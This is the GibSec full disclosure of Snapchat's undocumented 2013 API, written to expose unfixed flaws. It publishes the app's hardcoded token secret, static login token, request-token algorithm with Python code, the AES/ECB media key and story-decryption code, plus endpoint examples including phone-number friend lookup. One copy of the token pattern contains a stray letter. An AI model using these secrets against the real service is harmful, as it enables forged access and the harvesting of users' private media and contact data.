Snapchat - GibSec Full Disclosure

TOC

Foreword and notes

Given that it's been around *four months* since our last Snapchat release, we figured we'd do a refresher on the latest version, and see which of the released exploits had been fixed (full disclosure: *none of them*). Seeing that nothing had been *really* been improved upon (although, stories are using AES/CBC rather than AES/ECB, which is a start), we decided that it was in everyone's best interests for us to post a full disclosure of everything we've found in our past months of hacking the gibson.

In the time since our previous release, there have been numerous public Snapchat api clients created on GitHub. Thankfully, Snapchat are too busy declining ridiculously high offers from Facebook and Google, and lying to investors (hint: they have no way to tell the genders of their users, see `/bq/register` for a lack of gender specification) to send unlawful code takedown requests to all the developers involved.

top

As always, we're contactable via @gibsonsec and security@gibsonsec.org. Merry Gibsmas!

Technical mumbo-jumbo

This documentation is based on the current build (`4.1.01` at the time of writing *23-12-2013*) of Snapchat for Android. The Android app uses a mixture of `/ph` and `/bq` endpoints - the iOS app is pure `/bq`, but we haven't documented them all, sorry!

You can use `api.snapchat.com`, `feelinsonice.appspot.com` or `feelinsonice-hrd.appspot.com` as hosts for the API endpoints - they're all the same address at the end of the day.

The documentation may be broken, incomplete, outdated or just plain *wrong*. We try our best to keep things valid as much as possible, but we're only human after all.

NB! As of the current time of writing, there are two unknown reply fields scattered around the API responses. These are marked with an `N/A` - explanations welcome to security@gibsonsec.org. Fields with an asterisk after them (e.g: `zipped*`) means it's an optional field.

Authentication tokens

Authentication with Snapchat's API is done via a token sent in each request under the name `req_token`.

In general, it is a combination of *two hashes* (each salted with the *secret*), as defined by a specific *pattern*. You'll be using your normal `auth_token` for most requests - a few require a static token, which we'll get to in a bit.

Here is some example Python that implements the *secret req_token hash*:

```
def request_token(auth_token, timestamp):
    secret = "iEk21fuwZApXlz93750dmW22pw389dPwOk"
    pattern = "0001110111101110001111010101111011010001001110011000110001000110"
    first = hashlib.sha256(secret + auth_token).hexdigest()
    second = hashlib.sha256(str(timestamp) + secret).hexdigest()
    bits = [first[i] if c == "0" else second[i] for i, c in enumerate(pattern)]
    return "".join(bits)


# Here's a benchmark to make sure your implementation works:
#  >>> request_token("m198sOkJEn37DjqZ32lpRu76xmw288xSQ9", 1373209025)
#  '9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b'
```

- Things to note:
- The **secret** is `iEk21fuwZApXlz93750dmW22pw389dPwOk`
- You need *two* **sha256** hashes.
    1. `secret + auth_token`
    2. `timestamp + secret`
- The **pattern** is `0001110111101110001111010101111011010001001110011000110001000110`
    - `0` means take a character from *hash 1* at the point.
    - `1` means take a character from *hash 2* at the point.

Creating request tokens

To create a request token (which you will need for 90% of requests), you need to:

- Take the `auth_token` you got from logging in
- Take the current `timestamp` (epoch/unix timestamp) which you'll need for the req_token and inclusion in the request.
- Run `request_token(auth_token, timestamp)`
- Include it in your request!

Creating static tokens

If you're logging in, you won't have an auth_token yet. Not to fear!

top

- Take the *static token*, `m198sOkJEn37DjqZ32lpRu76xmw288xSQ9`
- Take the current `timestamp`
- Run `request_token(static_token, timestamp)`
- Include it in your request!

Common fields

There are a few fields that are common to most requests and responses:

Requests:

Field name	Type	Explanation
`username`	`str`	The username of the logged in account.
`req_token`	`str`	See: Creating request tokens
`timestamp`	`int`	The unix timestamp of the request - can be arbitrary.

Responses:

Field name	Type	Explanation
`logged`	`bool`	This is usually indicative of whether or not your response was successful.

Encrypting/decrypting data

Encrypting normal snaps

- All standard media (read: picture and video) data sent to Snapchat is:
- Padded using PKCS#5.
- Encrypted using **AES/ECB** with a single synchronous key: `M02cnQ51Ji97vwT4`

Encrypting stories

- Stories are:
- Padded using PKCS#7.
- Encrypted using **AES/CBC** with a unique IV and key per piece of the story (i.e, there isn't a single key/IV you can use).
  - You can find a `media_key` and `media_iv` deep within the return values of a request to `/bq/stories`.
- The server does the AES/CBC encryption - segments are sent to the server using the normal AES/ECB (`M02c..`) encryption.
  - `StoryEncryptionAlgorithm#encrypt` just calls `SnapEncryptionAlgorithm#encrypt`.

Here's a rough idea of how to decrypt them:

```
# To find `media_key` and `media_iv`, see: /bq/stories documentation
import requests
import base64
import mcrypt

res = requests.post(...)  # POST /bq/stories and ensure res is a dict.
data = requests.get(...)  # GET /bq/story_blob?story_id=XXXXX from result
key = base64.b64decode(res[...]["media_key"])
iv = base64.b64decode(res[...]["media_iv"])

m = mcrypt.MCRYPT("rijndael-128", "cbc")
m.init(key, iv)
dedata = m.decrypt(data)  # Boom.
```

Index of constants

These are just some constants you'll undoubtedly come across working with Snapchat.

```
- static_token
```

top

```
`m198sOkJEn37DjqZ32lpRu76xmw288xSQ9`
Used to create a req_token to log in to an account.

- ENCRYPT_KEY_2
`M02cnQ51Ji97vwT4`
Used to encrypt/decrypt standard snap data (using AES/ECB)

- req_token pattern
`000111011110111000111101010111101100010011100110001100010001l0`
Used to create a valid req_token. `0` means $hash1, `1` means $hash2.
Where: $hash1 = sha256(secret + auth_token) and
       $hash2 = sha256(timestamp + secret)

- req_token secret
`iEk21fuwZApXlz93750dmW22pw389dPwOk`
Used to salt the hashes used in generating req_tokens.

- various media types:
IMAGE = 0
VIDEO = 1
VIDEO_NOAUDIO = 2
FRIEND_REQUEST = 3
FRIEND_REQUEST_IMAGE = 4
FRIEND_REQUEST_VIDEO = 5
FRIEND_REQUEST_VIDEO_NOAUDIO = 6

- various media states:
NONE = -1
SENT = 0
DELIVERED = 1
VIEWED = 2
SCREENSHOT = 3

- Snapchat's User-agent:
`Snapchat/<snapchat-build> (<phone-model>; Android <build-version>; gzip)`
e.g.: `Snapchat/4.1.01 (Nexus 4; Android 18; gzip)`

This isn't constant per se, but you should send it in your requests anyway.
Get the Android build version from here: http://developer.android.com/reference
/android/os/Build.VERSION_CODES.html (18 is Jelly Bean 4.3, for example)
NB! Snapchat will fake the `<snapchat-build>` as `3.0.2` if it can't figure
out its own build. So you can use that if you'd like.
```

Gzipping data

NB! We're sort of hazy on the details and specifics of when you can and can't send gzipped data. Some endpoints *appear* to support it, others don't. We tried various combinations of encryption, gzipping and other combinations thereof, but got inconsistent results. Your mileage may vary.

Specific fields (mainly snap upload related, as expected) are sent gzipped (if it's supported). This means, where you see a `data` field, you can *sometimes* (it's inconsistent) gzip the data, send it as `data` and set `zipped: 1` (note: it's still encrypted prior to gzipping).

How you gzip data will vary in your language, but in Python, it's as easy as:

```
from StringIO import StringIO
import gzip

zipped = StringIO()
gz = gzip.GzipFile(fileobj=zipped, mode="w")
gz.write(encrypted_snap_data)
gz.close()

# Send this as `data`, with `zipped: 1`:
gzdata = zipped.getvalue()
```

Registering an account (`/bq/register`, `/ph/registeru`)

top

Actually registering (`/bq/register`)

```
{
    timestamp: 1373207221,
    req_token: create_token(static_token, 1373207221),
    email: "you@example.com",
    password: "password",
    age: 19,
    birthday: "1994-11-15"
}
```

Field name	Type	Explanation
`timestamp`	`int`	See: Common fields
`req_token`	`str`	See: Creating static tokens
`email`	`str`	Your email.
`password`	`str`	Your password.
`age`	`int`	How old you are (as an *integer*).
`birthday`	`str`	Your date-of-birth in the format `YYYY-MM-DD`.

If your request is **successful**, you'll see something like this:

```
{
    token: "10634960-5c09-4037-8921-4c447a8c6aa9",
    email: "you@example.com",
    snapchat_phone_number: "+15557350485",
    logged: true
}
```

Field name	Type	Explanation
`token`	`str`	An authentication token you can use without having to log in again.
`email`	`str`	Your email.
`snapchat_phone_number`	`str`	A number you can send a text to, to verify your phone number *(OPTIONAL)*
`logged`	`bool`	See: Common fields

NB! Even though your request failed (as indicated by `logged`), you'll still get a `200 OK` reply.
If your request **failed**, you'll see something like this:

```
{
    message: "you@example.com is already taken! Login with that email address or
    logged: false
}
```

Attaching a username (`/ph/registeru`)

```
{
    timestamp: 1373207221,
    req_token: create_token(static_token, 1373207221),
    email: "you@example.com",
    username: "youraccount"
}
```

Field name	Type	Explanation
`timestamp`	`int`	See: Common fields
`req_token`	`str`	See: Creating static tokens
`email`	`str`	The email attached to your account.
`username`	`str`	The username you're requesting.

If your request **succeeded**, you'll see something similar to logging in (`/bq/login`).
If your request **failed**, you'll see something like:

```
{
    message: "Invalid username. Letters and numbers with an optional hyphen, und
```

top

```
    logged: false
}
```

Logging in (`/bq/login`)

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(static_token, 1373207221),
    password: "yourpassword"
}
```

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: See: Creating static tokens
password	str	Your account's password.

If your reply was **successful**, you'll get back something like this:

```
{
    bests: ["someguy"],
    score: 0,
    number_of_best_friends: 1,
    received: 0,
    logged: true,
    added_friends: [
        {ts: 1384417608610, name: "somedude", display: "", type: 0},
        {ts: 1385130955168, name: "random", display: "", type: 1}
    ],
    beta_expiration: 0,
    beta_number: -1,
    requests: [{display: "", type: 1, ts: 1377613760506, name: "randomstranger"}
    sent: 0,
    story_privacy: "FRIENDS",
    username: "youraccount",
    snaps: [
        {id: "894720385130955367r", sn: "someguy", ts: 1385130955367, sts: 13851
        {id: "116748384417608719r", sn: "randomdude", ts: 1384417608719, sts: 138
        {id: "325924384416555224r", sn: "teamsnapchat", t: 10, ts: 1384416555224
    ],
    friends: [
        {can_see_custom_stories: true, name: "teamsnapchat", display": Team Snapc
        {can_see_custom_stories: true, name: "someguy", display: "Some Guy", type
        {can_see_custom_stories: true, name: "youraccount", display: "", type: 1
    ],
    device_token: "",
    feature_settings: {},
    snap_p: 1,
    mobile_verification_key: "MTMzNzpnaWJzb24=",
    recents: ["teamsnapchat"],
    added_friends_timestamp: 1385130955168,
    notification_sound_setting: "OFF",
    snapchat_phone_number: "+15557350485",
    auth_token: "85c32786-0c71-44bf-9ba0-77bf18c61db2",
    image_caption: false,
    is_beta: false,
    current_timestamp: 1385378822645,
    can_view_mature_content: false,
    email: "you@example.com",
    should_send_text_to_verify_number: true,
    mobile: ""
}
```

Field name	Type	Explanation
bests	list	A list of your "best friends" (most frequently interacted with).
score	int	Your arbitrary, and utterly pointless Snapchat score.
number_of_best_friends	int	The number of "best friends" you have.

top

Field name	Type	Explanation
received	int	The amount of snaps you've received.
logged	bool	See: Common fields
added_friends	list	Friends who have added you - See *below.*
beta_expiration*	int	When this beta build (if you're in the beta) expires.
beta_number*	int	The number of this beta build.
requests	list	Friends who have added you - See *below.*
sent	int	How many snaps you've sent.
story_privacy	str	Your story privacy.
username	str	Your username.
snaps	list	A list of snap-related things - See *below.*
friends	list	A list of all your friends - See *below.*
device_token	str	Used for Google Cloud Messaging PUSH notifications.
feature_settings	dict	*N/A*
snap_p	int	Your account privacy.
mobile_verification_key	str	A base64'd verification key (+ your username) you can text Snapchat to verify your phone number.
recents	list	A list of people you have recently interacted with.
added_friends_timestamp	int	A unix timestamp (*1000) of when a friend last added you.
notification_sound_setting	str	The app's sound notification settings.
snapchat_phone_number	str	A phone number you can text your mobile_verification_key to.
auth_token	str	An authentication token. Store this, you'll need it later!
image_caption	bool	*N/A*
is_beta*	bool	Whether you're opted into Snapchat Beta or not.
current_timestamp	int	A current unix timestamp (*1000).
can_view_mature_content	bool	Your maturity settings.
email	str	Your email.
should_send_text_to_verify_number	bool	Exactly what it says on the tin.
mobile	str	Your attached mobile number (if any).

added_friends is a list of:

Field name	Type	Explanation
ts	int	A unix timestamp (*1000) of when they added you.
name	str	Their username.
display	str	Their display name, set by you.
type	int	Whether the account is: public, 0; private, 1.

requests is a list of:

Field name	Type	Explanation
ts	int	A unix timestamp (*1000) of when they added you.
name	str	Their username.
display	str	Their display name, set by you.
type	int	Whether the account is: public, 0; private, 1.

snaps is a list of:

Field name	Type	Explanation
id	str	A unique id for the snap. Ends in either: r, sent *to* us; or s, sent *from* us.
sn / rp	str	Snap *sender/recipient* name, respectively.
ts	int	A unix timestamp (*1000) of when it was last interacted with.
sts	int	A unix timestamp (*1000) of when it was sent (almost always the same as ts).
m	int	The media type - See: Index of constants.
st	int	The state of the media - See: Index of constants.
t	int	*Present in unopened snaps* (where m=N, st=1) - the time the snap should be viewable for.

friends is a list of:

Field name	Type	Explanation
can_see_custom_stories	bool	Whether the user is allowed to see your stories (on custom privacy).

top

Field name	Type	Explanation
name	str	Their user account name.
display	str	Their display name, set by you.
type	int	Whether the account is: public, 0; private, 1.

Logging out (/ph/logout)

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    json: "{}",
    events: "[]"
}
```

Field name	Type	Explanation
req_token	str	See: Creating request tokens
timestamp	int	See: Common fields
username	str	See: Common fields
json	dict	See: Sending updates (/bq/update_snaps)
events	list	See: Sending updates (/bq/update_snaps)

If your request was **successful**, you'll get back a `200 OK` with no body content.
Doing this makes your authentication token stale - you can't reuse it.

Fetching snap data (/ph/blob)

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    id: "97117373178635038r"
}
```

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: Creating request tokens
id	int	The id attached to the snap we're interested in.

If your request is successful, you will get `200 OK` followed by the blob data for the snap you requested:

- The returned blob is encrypted. See: Encrypting/decrypting data
- Once decrypted, images will start with `\xFF\xD8\xFF\xE0` - almost always JPEG.
- Once decrypted, videos will start with `\x00\x00\x00\x18` - almost always MPEG-4.
- PNG (`\x89PNG`) and GIF (`GIF8`) are uncommon but can be sent by custom clients, as they appear to display correctly.

Your request may be met with `410 Gone` if you requested an image that:

- Doesn't exist
- Did exist but has been marked seen or screenshotted.

Uploading and sending snaps (/ph/upload, /ph/send)

Sending snaps are done in two parts - you upload the media, then tell Snapchat who to send it to.

Uploading your media (/ph/upload)

```
{
    username: "youraccount",
    timestamp: 1373207221,
```

top

```
    req_token: create_token(auth_token, 1373207221)
    media_id: "YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",
    type: 0,
    data: ENCRYPTED_SNAP_DATA
}
```

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: Creating request tokens
media_id	str	A unique identifier for this media - Snapchat uses a UUID.
type	int	The type of media you're uploading - 0 for images, 1 for videos
data	data	The encrypted media data.

If your request was **successful**, you'll get a `200 OK` with no body content.
NB! You need to store the `media_id` to use in `/ph/send`.

Sending it off (`/ph/send`)

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    media_id: "YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",
    recipient: "teamsnapchat,someguy",
    time: 5,
    zipped: "0"
}
```

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: Creating request tokens
media_id	str	A unique identifier for this media - Snapchat uses a UUID.
recipient	str	A comma delimited list of recipients - e.g. `teamsnapchat,someguy`
time	int	An integer, 1-10 inclusive of how long the snap will display for.
zipped*	str	0 or 1, indicating whether or not the data is gzipped.

If your request was **successful**, you'll get a `200 OK` with no body content.

Resending a failed snap (`/ph/retry`)

`/ph/retry` is much like a combined endpoint for `/ph/upload` and `/ph/send`.

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    media_id: "YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f"
    type: 0,
    data: ENCRYPTED_SNAP_DATA,
    zipped: "0",
    recipient: "teamsnapchat,someguy",
    time: 5
}
```

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: Creating request tokens
media_id	str	A unique identifier for this media - Snapchat uses a UUID.
type	int	The type of media you're uploading - 0 for images, 1 for videos
data	data	The encrypted media data.
zipped*	str	0 or 1, indicating whether or not the data is gzipped.

top

Field name	Type	Explanation
recipient	str	A comma delimited list of recipients - e.g. `teamsnapchat,someguy`
time	int	An integer, 1-10 inclusive of how long the snap will display for.

If your request was **successful**, you'll get a `200 OK` with no body content.

Posting to a story (`/bq/post_story`)

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    media_id: "YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",
    client_id: "YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",
    caption_text_display: "Foo, bar, baz!",
    thumbnail_data: ENCRYPTED_THUMBNAIL_DATA,
    zipped: "0",
    type: 0,
    time: 10
}
```

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: Creating request tokens
media_id	str	A unique identifier for this media - Snapchat uses a UUID.
client_id	str	A unique client identifier - the same as the given `media_id`.
caption_text_display	str	Some form of caption - doesn't seem to be honored/rendered by the receiving client.
thumbnail_data*	data	Optional thumbnail data. It will be generated for you if you leave this out.
zipped*	str	`0` or `1`, indicating whether or not the data is gzipped.
type	int	The type of media you're uploading - `0` for images, `1` for videos
time	int	An integer, 1-10 inclusive of how long the snap will display for.

NB! You get the `media_id` by first uploading your media.
NB! Your `media_id` and `client_id` *have* to be in the format `YOURACCOUNT~UUID` - otherwise this will return `400 Bad Request`.
If your request was **successful**, you'll get something like this back:

```
{
    json: {
        story: {
            caption_text_display: "Foo, bar, baz!",
            id: "youraccount~1385123930172",
            username: "youraccount",
            mature_content: false,
            client_id: "YOURACCOUNT~E5273F6E-EF69-453A-BE05-EC232AD7482C",
            timestamp: 1385123930172,
            media_id: "5926704455352320",
            media_key: "rlcTSuolqwhiatuqT6533fbcyBvIU7e/i4ZFZPxFtco=",
            media_iv: "YXyO2gJ4PuLhwlHohxGOFE==",
            thumbnail_iv: "DrcQC5VRkjw+8KLp489xFA==",
            media_type: 0,
            time: 10.0,
            time_left: 86399893,
            media_url: "https://feelinsonice-hrd.appspot.com/bq/story_blob?story_
            thumbnail_url: "https://feelinsonice-hrd.appspot.com/bq/story_thumbna
        }
    }
}
```

If your request was **successful** you'll get back a `202 Accepted` with some JSON body content:

`r.json.story` is a dictionary of:

Field name	Type	Explanation
caption_text_display	str	Some form of caption - doesn't seem to be honored/rendered by the receiving client.

top

Field name	Type	Explanation
id	str	Your username (lowercase), a tilde, and the returned timestamp.
username	str	Your account username.
mature_content	bool	Whether or not story contains mature content.
client_id	str	The media_id/client_id you sent originally.
timestamp	int	The reply timestamp.
media_id	str	An id for this specific story segment.
media_key	str	base64'd key for decrypting this story (note, you also need the IV!).
media_iv	str	base64'd IV for decrypting this story (note, you also need the key!).
thumbnail_iv	str	base64'd IV for decrypting the thumbnail (use media_key!).
media_type	int	The type of media: 0 for images, 1 for videos.
time	long	The time this segment should be visible for.
time_left	int	The seconds left (*1000, for some reason) before this story expires.
media_url	str	A URL you can hit via GET to fetch the story's blob data.
thumbnail_url	str	A URL you can hit via GET to fetch the thumbnail's blob data.

Deleting story segments (/bq/delete_story)

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    story_id: "youraccount~1382716927240"
}
```

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: Creating request tokens
story_id	str	The story segment id we're deleting.

If your request was **successful**, you'll get back a 200 OK with no body content.

Appending segments to a story directly (/bq/retry_post_story)

This is the same as posting to a story, however there is an extra field (data) sent:

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    media_id: "YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",
    client_id: "YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",
    caption_text_display: "Foo, bar, baz!",
    thumbnail_data: ENCRYPTED_THUMBNAIL_DATA,
    zipped: "0",
    type: 0,
    time: 10,
    data: ENCRYPTED_STORY_DATA
}
```

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: Creating request tokens
media_id	str	A unique identifier for this media - Snapchat uses a UUID.
client_id	str	A unique client identifier - the same as the given media_id.
caption_text_display	str	Some form of caption - doesn't seem to be honored/rendered by the receiving client.
thumbnail_data*	data	Optional thumbnail data. It will be generated for you if you leave this out.
zipped*	str	0 or 1, indicating whether or not the data is gzipped.
type	int	The type of media you're uploading - 0 for images, 1 for videos

top

Field name	Type	Explanation
time	int	An integer, 1-10 inclusive of how long the snap will display for.
data	data	The encrypted media data.

If your request was **successful**, you'll get back something similar to posting to a story

Posting to a story and sending a snap (`/bq/double_post`)

This is the same as sending a normal snap, however there are extra fields sent:

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    media_id: "YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",
    client_id: "YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",
    recipient: "teamsnapchat,someguy",
    caption_text_display: "Foo, bar, baz!",
    thumbnail_data: ENCRYPTED_THUMBNAIL_DATA,
    type: 0,
    time: 5
}
```

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: Creating request tokens
media_id	str	A unique identifier for this media - Snapchat uses a UUID.
client_id	str	A unique client identifier - the same as the given `media_id` (from an upload).
recipient	str	A comma delimited list of recipients - e.g. `teamsnapchat,someguy`
caption_text_display	str	Some form of caption - doesn't seem to be honored/rendered by the receiving client.
thumbnail_data*	data	Optional thumbnail data. It will be generated for you if you leave this out.
type	int	The type of media you're uploading - `0` for images, `1` for videos
time	int	An integer, 1-10 inclusive of how long the snap will display for.

If your request **failed** you'll most likely get a `400 Bad Request`.
If your request was **successful**, you'll get something like this back:

```
{
    story_response: {
        json: {
            story: {
                caption_text_display: "Foo, bar, baz!",
                id: "youraccount~1385367025231",
                username: "youraccount",
                mature_content: false,
                client_id: "YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",
                timestamp: 1385367025231,
                media_id: "6539144374653924",
                media_key: "/crVtkYOvpDOVA8C8MhR+qWlzFkFodQi+2iOAK84E+Q=",
                media_iv: "oBp82Gr0tGHfBzC42cyleg==",
                thumbnail_iv: "UvCn/A+2qrXchJG0J6gCSw==",
                media_type: 0,
                time: 5.0,
                time_left: 86399908,
                media_url: "https://feelinsonice-hrd.appspot.com/bq/story_blob?s
                thumbnail_url: "https://feelinsonice-hrd.appspot.com/bq/story_th
            }
        },
        success: true
    },
    snap_response: {
        success: true
    }
}
```

This reply is split into two portions: `story_response` and `snap_response`.

top

Both fields (`story_response` and `snap_response`) contain `success`, which is similar to the common field, `logged`.

`story_response.json.story`

Field name	Type	Explanation
`caption_text_display`	`str`	Some form of caption - doesn't seem to be honored/rendered by the receiving client.
`id`	`str`	Your username (lowercase), a tilde, and the returned `timestamp`.
`username`	`str`	Your account username.
`mature_content`	`bool`	Whether or not story contains mature content.
`client_id`	`str`	The `media_id`/`client_id` you sent originally.
`timestamp`	`int`	The reply timestamp.
`media_id`	`str`	An id for this specific story segment.
`media_key`	`str`	base64'd key for decrypting this story (note, you also need the IV!).
`media_iv`	`str`	base64'd IV for decrypting this story (note, you also need the key!).
`thumbnail_iv`	`str`	base64'd IV for decrypting the thumbnail (use `media_key`!).
`media_type`	`int`	The type of media: `0` for images, `1` for videos.
`time`	`long`	The time this segment should be visible for.
`time_left`	`int`	The seconds left (`*1000`, for some reason) before this story expires.
`media_url`	`str`	A URL you can hit via GET to fetch the story's blob data.
`thumbnail_url`	`str`	A URL you can hit via GET to fetch the thumbnail's blob data.

Finding your friends (`/ph/find_friends`)

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    countryCode: "US",
    numbers: "{\"2125554240\": \"Norm (Security)\", \"3114378739\": \"Stephen Fa
}
```

Field name	Type	Explanation
`username`	`str`	See: Common fields
`timestamp`	`int`	See: Common fields
`req_token`	`str`	See: Creating request tokens
`countryCode`	`str`	A two character ISO 3166-1 alpha-2 country code.
`numbers`	`str`	A string representation of a hash map with phone numbers relating to display names.

```
{
    logged: true,
    results: [
        {name: "norman", display: "Norm (Security)", type: 1},
        {name: "stephenfalken", display: "Stephen Falken", type: 0}
    ]
}
```

Field name	Type	Explanation
`logged`	`bool`	See: Common fields
`results`	`list`	A list of relevant results about found friends. Innards explained below.

The `results` field contains a list of maps each with three fields:

Field name	Type	Explanation
`name`	`str`	The account username of this person.
`display`	`str`	The display name reported to `/ph/find_friends`.
`type`	`int`	Whether the account is: public, `0`; private, `1`.

Making - or losing - friends (`/ph/friend`)

```
{
    username: "youraccount",
```

top

```
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    action: "add",
    friend: "someguy"
}
```

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: Creating request tokens
action	str	What type of action you're taking: add, delete, block, unblock, or display.
friend	str	The user (account name) we're applying this action to.

NB! The action `display` requires an extra field called `display`, which is the display name you're applying to the user.
If your request was **successful**, you'll get something like this back:

```
{
    message: "someguy was blocked",
    param: "someguy",
    logged: true
}
```

Field name	Type	Explanation
logged	bool	See: Common fields
param	str	The user (given by `friend` in req.) the action was applied to.
message	str	A user presentable message explaining what action was taken.

Getting your friends' best friends (`/bq/bests`)

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    friend_usernames: "['teamsnapchat','another_username']",
}
```

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: Creating request tokens
friend_usernames	str	A string representation of a JSON list of friend usernames.

NB! Any usernames that are not on your friends list will be completely omitted from the response.
If the request was **successful**, you'll get a response similar to this:

```
{
    teamsnapchat: {
        best_friends: ["friend_one", "friend_two", "friend_three"],
        score: 100
    },
    another_username: {
        best_friends: ["friend_one", "friend_two", "friend_three"],
        score: 100
    }
}
```

Field name	Type	Explanation
best_friends	list	List of the given user's best friends.
score	int	The given user's Snapchat score.

Getting your friends stories (`/bq/stories`)

```
{
```

top

```
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221)
}
```

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: Creating request tokens

If your request was **successful**, you'll get back something like this (hefty reply):

```
{
    mature_content_text: {
        title: "Content Warning",
        message: "The red exclamation mark on this Story indicates that Stories
        yes_text: "Yes",
        no_text: "No"
    },
    my_stories: [
        {
            story: {
                id: "youraccount~1386362095231",
                username: "youraccount",
                mature_content: false,
                client_id: "YOURACCOUNT~e87a8f71-078b-4483-b051-b78f3d008717",
                timestamp: 1386362095231,
                media_id: "6529624334955984",
                media_key: "/crVtkYOvpBAV08C8MhH+hWl4FDFodCi+2iOAK84E+Q=",
                media_iv: "oBp22Gr0t2HABDC4Wcylng==",
                thumbnail_iv: "UvCn/A+AqwXDCJG0Y6gCSw==",
                media_type: 0,
                time: 5.0,
                time_left: 5885762,
                media_url: "https://feelinsonice-hrd.appspot.com/bq/story_blob?s
                thumbnail_url: "https://feelinsonice-hrd.appspot.com/bq/story_th
            },
            story_notes: [
                {
                    viewer: "someguy",
                    screenshotted: false,
                    timestamp: 1385367139674,
                    storypointer: {"mKey":"story:{youraccount}:19841127","mField
                }
            ],
            story_extras: {view_count: 1, screenshot_count: 0}
        },
        {
            story: {
                id: "youraccount~1386362095231",
                username: "youraccount",
                mature_content: false,
                client_id: "YOURACCOUNT~eb53ae24-7534-40e6-4a00-b611a90ab6c4",
                timestamp: 1386362095231,
                media_id: "7799203240896396",
                media_key: "dvv5/CXFOwOkskitqrX/x2PkQarzHAbPMwkzM0aWHIY=",
                media_iv: "4hJppjXvdjjqIgjxG6vExQ==",
                thumbnail_iv: "rC4UM3bgGPTTg7ovzO1fug==",
                media_type: 0,
                time: 5.0,
                caption_text_display: "Hack the planet, hack the planet!",
                time_left: 5658516,
                media_url: "https://feelinsonice-hrd.appspot.com/bq/story_blob?s
                thumbnail_url: "https://feelinsonice-hrd.appspot.com/bq/story_th
            },
            story_notes: [
                {
                    viewer: "someguy",
                    screenshotted: true,
                    timestamp: 1385366714056,
                    storypointer: {"mKey":"story:{youraccount}:19841127","mField
```

top

```
                }
            ],
            story_extras: {view_count: 1, screenshot_count: 0}
        }
    ],
    friend_stories: [
        {
            username: "someguy",
            stories: [
                {
                    story: {
                        id: "someguy~1385439004799",
                        username: "someguy",
                        mature_content: false,
                        client_id: "SOMEGUY~24823793-8333-4542-QF6C-D765CD6786D4
                        timestamp: 1385452007799,
                        media_id: "5549685943463504",
                        media_key: "m1/kTyqt0E55jPyX+PexCP1++PUxTM6lqZC8kU/zcgI=
                        media_iv: "GvH/izpqBVBZQaAlmxWSSA==",
                        thumbnail_iv: "Jx4tNSAaCuIkSX5DttTZJw==",
                        media_type: 0,
                        time: 10.0,
                        zipped: false,
                        time_left: 86361636,
                        media_url: "https://feelinsonice-hrd.appspot.com/bq/story
                        thumbnail_url: "https://feelinsonice-hrd.appspot.com/bq/s
                    },
                    viewed: false
                }
            ]
        }
    ]
}
```


Field name	Type	Explanation
`mature_content_text`	`dict`	A dictionary with some strings to be displayed in a warning modal about mature content.
`my_stories`	`list`	A list of all segments of your story - See *below*.
`friend_stories`	`list`	A list of your friend's stories and their segments - See *below*.

`my_stories.story` is a dictionary of:

Field name	Type	Explanation
`id`	`str`	Your username (lowercase), a tilde, and the returned `timestamp`.
`username`	`str`	Your account username.
`mature_content`	`bool`	Whether or not this segment contains mature content.
`client_id`	`str`	Standard media_id in the format of `USERNAME~UUID`
`timestamp`	`int`	The reply timestamp (`*1000`).
`media_id`	`str`	An id for this specific story segment.
`media_key`	`str`	base64'd key for decrypting this story (note, you also need the IV!).
`media_iv`	`str`	base64'd IV for decrypting this story (note, you also need the key!).
`thumbnail_iv`	`str`	base64'd IV for decrypting the thumbnail (use `media_key`!).
`media_type`	`int`	The type of media: `0` for images, `1` for videos.
`time`	`long`	The time this segment should be visible for.
`time_left`	`int`	The seconds left (`*1000`, for some reason) before this story expires.
`media_url`	`str`	A URL you can hit via GET to fetch the story's blob data.
